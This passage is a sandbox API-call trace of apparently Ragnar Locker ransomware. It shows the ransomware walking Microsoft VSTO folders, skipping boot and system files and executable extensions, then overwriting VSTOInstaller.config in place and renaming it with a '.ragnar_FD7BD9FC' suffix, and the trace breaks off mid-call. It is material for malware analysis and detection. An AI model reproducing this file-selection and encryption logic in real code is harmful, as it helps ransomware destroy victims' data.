lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="..") returned 1 [0078.457] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0078.457] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0078.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0078.457] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.458] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81010120, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.458] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x45 [0078.458] lstrcpyW (in: lpString1=0x1ea094, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.458] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.458] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.458] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0078.458] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x45 [0078.458] lstrcpyW (in: lpString1=0x1ea094, lpString2="VSTOInstallerUI.dll" | out: lpString1="VSTOInstallerUI.dll") returned="VSTOInstallerUI.dll" [0078.458] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned=".dll" [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="autorun.inf") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="boot.ini") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="bootfont.bin") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="bootsect.bak") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="bootmgr") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="bootmgr.efi") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="bootmgfw.efi") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="desktop.ini") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="iconcache.db") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="ntldr") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="ntuser.dat") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="ntuser.dat.log") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="ntuser.ini") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOInstallerUI.dll", lpString2="thumbs.db") returned 1 [0078.458] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.458] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.458] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.458] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0078.458] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x45 [0078.458] lstrcpyW (in: lpString1=0x1ea094, lpString2="VSTOLoaderUI.dll" | out: lpString1="VSTOLoaderUI.dll") returned="VSTOLoaderUI.dll" [0078.458] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned=".dll" [0078.458] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="autorun.inf") returned 1 [0078.458] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="boot.ini") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="bootfont.bin") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="bootsect.bak") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="bootmgr") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="bootmgr.efi") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="bootmgfw.efi") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="desktop.ini") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="iconcache.db") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="ntldr") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="ntuser.dat") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="ntuser.dat.log") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="ntuser.ini") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoaderUI.dll", lpString2="thumbs.db") returned 1 [0078.459] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.459] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.459] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.459] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0078.459] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0078.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81010120, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.459] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.459] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0078.459] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2=".") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="..") returned 1 [0078.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0078.459] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2=".") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOInstaller.exe", lpString2="..") returned 1 [0078.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2=".") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOLoader.dll", lpString2="..") returned 1 [0078.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0078.459] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2=".") returned 1 [0078.459] lstrcmpiW (lpString1="VSTOMessageProvider.dll", lpString2="..") returned 1 [0078.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0078.459] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.460] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.460] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81010120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.460] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81010120, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81010120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.460] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0078.460] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.460] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.460] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.460] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0078.460] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0078.460] lstrcpyW (in: lpString1=0x1eab62, lpString2="VSTOInstaller.config" | out: lpString1="VSTOInstaller.config") returned="VSTOInstaller.config" [0078.460] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned=".config" [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="autorun.inf") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="boot.ini") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="bootfont.bin") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="bootsect.bak") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="bootmgr") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="bootmgr.efi") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="bootmgfw.efi") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="desktop.ini") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="iconcache.db") returned 1 [0078.460] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="ntldr") returned 1 [0078.461] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="ntuser.dat") returned 1 [0078.461] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="ntuser.dat.log") returned 1 [0078.461] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="ntuser.ini") returned 1 [0078.461] lstrcmpiW (lpString1="VSTOInstaller.config", lpString2="thumbs.db") returned 1 [0078.461] lstrcmpiW (lpString1=".config", lpString2=".db") returned -1 [0078.461] lstrcmpiW (lpString1=".config", lpString2=".sys") returned -1 [0078.461] lstrcmpiW (lpString1=".config", lpString2=".dll") returned -1 [0078.461] lstrcmpiW (lpString1=".config", lpString2=".lnk") returned -1 [0078.461] lstrcmpiW (lpString1=".config", lpString2=".msi") returned -1 [0078.461] lstrcmpiW (lpString1=".config", lpString2=".drv") returned -1 [0078.461] lstrcmpiW (lpString1=".config", lpString2=".exe") returned -1 [0078.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0078.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.462] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=716) returned 1 [0078.462] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x2c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.462] GetProcessHeap () returned 0x580000 [0078.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.462] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0078.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.464] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.464] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0078.464] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2cc, lpOverlapped=0x0) returned 1 [0078.464] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0078.464] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.464] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2cc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2cc, lpOverlapped=0x0) returned 1 [0078.464] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.464] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.464] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x2cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.465] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.465] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.465] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0078.465] WriteFile (in: hFile=0x108, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0078.465] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.465] GetProcessHeap () returned 0x580000 [0078.465] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.465] CloseHandle (hObject=0x108) returned 1 [0078.465] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" [0078.465] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.ragnar_FD7BD9FC" [0078.465] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.466] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0078.466] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 